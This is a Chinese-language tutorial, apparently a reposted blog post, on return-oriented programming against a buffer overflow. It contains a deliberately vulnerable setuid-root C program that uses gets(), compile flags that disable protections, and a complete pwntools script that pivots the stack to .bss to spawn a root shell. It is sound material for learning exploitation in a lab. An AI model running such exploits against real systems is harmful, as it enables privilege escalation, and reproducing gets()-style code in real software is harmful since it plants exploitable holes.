緩衝區溢位攻擊之三(Buffer Overflow)
2018-08-16 04:28:08 Author: medium.com(查看原文) 阅读量:21 收藏

無論如何我們直接寫shellcode並跳轉到上面執行的方法不再適用,那怎麼辦呢?此時就要導入ROP的概念。

什麼是ROP( Return-Oriented Programming)?引述wiki:

… an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine’s memory, called “gadgets”.

Each gadget typically ends in a return instruction ...

Chained together, these gadgets allow an attacker to perform arbitrary operations on a machine employing defenses that thwart simpler attacks.

原本就在這個程式裡的指令剛好能符合我們的需求,於是就把它拿來用了,一般會把許多指令串起構成所謂"ROP Chain"來達成我們的需求,如下圖:

ROP Chain
  1. 跳轉到0x400060處,執行pop rdi
  2. 0x400061的ret被執行,此時取用的ret位址是在stack上的0x400200
  3. 跳轉到0x400200處,執行xor eax,eax
  4. 0x400202的ret被執行,......

發現了嗎?攻擊者做的只是像積木一樣把現有的指令拼湊起來(這裡的例子為pop rdi/xor eax,eax),而這些積木的接口-也就是ret指令,讓每個部件可以不中斷的連接起來,從頭到尾攻擊者就只是覆寫一堆「位址」而已。

好好運用ROP就有機會能bypass NX & ASLR,接著來實際演練一次。

在開始之前強烈建議先裝幾個實用工具

來看看以下程式

// victim : rop.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void nonSecure()
{
char name[16];
printf("What's your name?\n");
gets(name);
printf("Hey %s, you like ROP? I'll give you root!\n", name);
setuid(0);
system("Now_what_you_gonna_do...O_O\n");
}
int main()
{
nonSecure();
return 0;
}

編譯一下,順便設定權限:

gcc rop.c -o rop -fno-stack-protector -no-pie
sudo chmod 6775 rop
sudo chown root:root rop

看一下程式有個system()可用,也有root權限,那現在就是要想辦法控制system()的參數來生出一個root shell。先不用去想ROP的細節,首先要先建構一下思緒想該怎麼辦,一開始的思路可能是這樣的:

顯然這個方法不行,而由於綠色方塊是需求、紅色方塊是結果,所以我們能改變的也就只有中間三個藍色方塊,但第一、二個藍色方塊好像也不太能改變對吧?那麼就往第三個去想,「那buffer還能放在哪」?除了stack以外,也就剩下data/bss等section能寫資料進去了吧,有了這個主意後重新建構一下思路:

OK,首先我們希望把buffer移到bss上,這代表我們需要再多一次輸入,於是第一步我們希望overflow發生後ret跳轉去執行gets(),但問題又來了,也必須要能控制gets()的參數,這樣才能input到bss section,對吧?

來看一下gets()前面的assembly:

0x000000000040061b <+20>: lea    rax,[rbp-0x10]
0x000000000040061f <+24>: mov rdi,rax
0x0000000000400622 <+27>: mov eax,0x0
0x0000000000400627 <+32>: call 0x400500 <gets@plt>

可以看到參數rdi和rbp有關聯:rdi = rbp-0x10

[Recap]

x64 calling convention on Linux : RDI, RSI, RDX, RCX, R8, R9

而rbp在function epilogue(leave ; ret)時可控:

leave
ret

等價於:

mov	rsp, rbp
pop rbp     
ret

所以現在我們能控制gets()參數讓input跑到bss處了,但有個要注意的地方是,仔細看一下function epilogue,若執行兩次會發生什麼事?

mov	rsp, rbp 
pop rbp # rbp = bss
ret
...
mov rsp, rbp # rsp = bss
pop rbp
ret # ret位址在rsp指向的地方,也就是bss!

也就是說,第二次gets()到要ret時-bss變成了stack了(其實這是一個技巧稱為Stack Pivot,雖然在此有點像我們想輸入到bss所產生的副作用而已

OK,我們已經可以輸入一些東西在bss上了,也就是說system()的參數有著落了,所以下一次ret就要來呼叫system()藉此獲得shell,那麼一樣我們需要調整system參數,於是來找有沒有pop rdi ; ret指令(\x5f\xc3):

gdb peda

ROPgadget

發現在0x4006e3處有。

有了這些資訊之後就能來建構payload了,流程如下:

ROP payload
  1. 跳轉到0x40061b,執行gets()
  2. Input到bss裡
  3. bss變為stack
  4. ret取用bss上的位址
  5. 跳轉到0x4006e3處,執行pop rdi (調整system()的參數)
  6. call system(“/bin/sh”)

完整payload如下

from pwn import *p = process('./rop')
e = ELF('./rop')
pop_rdi_ret = 0x4006e3
read_to = lambda x:x+0x10
area = e.bss()+0x800
call_system = 0x400655
to_get = 0x40061b
'''
0x00000000004005db <+20>: lea rax,[rbp-0x10]
0x00000000004005df <+24>: mov rdi,rax
0x00000000004005e2 <+27>: mov eax,0x0
0x00000000004005e7 <+32>: call 0x4004d0 <gets@plt>
'''
log.info('1st ROP')
print p.recv()
p.sendline(flat('A'*0x10, # junk
read_to(area), # save_rbp
to_get, # ret
word_size=64))
print p.recv(), p.recv()
log.info('2nd ROP')
p.sendline(flat('/bin/sh\x00', # arg for system()
'B'*0x10, # junk
pop_rdi_ret, # ret, for adjusting rdi
area, # rdi
call_system,
word_size=64))
print p.recv(), p.recv()
log.success('Spawm shell!')
p.interactive()

成果:

成功生出一個root shell了!

至此我們學到了非常重要的概念 - ROP,並成功用這個技巧bypass NX & ASLR,但眼尖的朋友應該有注意到,在編譯這支程式時還是有一些怪怪的參數,沒錯它們又是跟防護有關係......也就是說至此我們還是沒辦法bypass現代電腦所有的防護措施,篇幅關係這些只能留到之後再說了。

在結束前各位可以根據剛剛那個payload想想幾個小問題:

  1. 明明gets()/system()參數都只有一個rdi,為什麼做ROP的時候要用不同的方法調整他們?
  2. payload中我們讀入的地方是area=e.bss()+0x800,為什麼要加一個這麼大的數字0x800?不加會出什麼問題?可以用debugger去玩玩看。

文章来源: https://medium.com/@ktecv2000/%E7%B7%A9%E8%A1%9D%E5%8D%80%E6%BA%A2%E4%BD%8D%E6%94%BB%E6%93%8A%E4%B9%8B%E4%B8%89-buffer-overflow-123d6ae7236e?source=rss-eb87faee21ca------2
如有侵权请联系:admin#unsafe.sh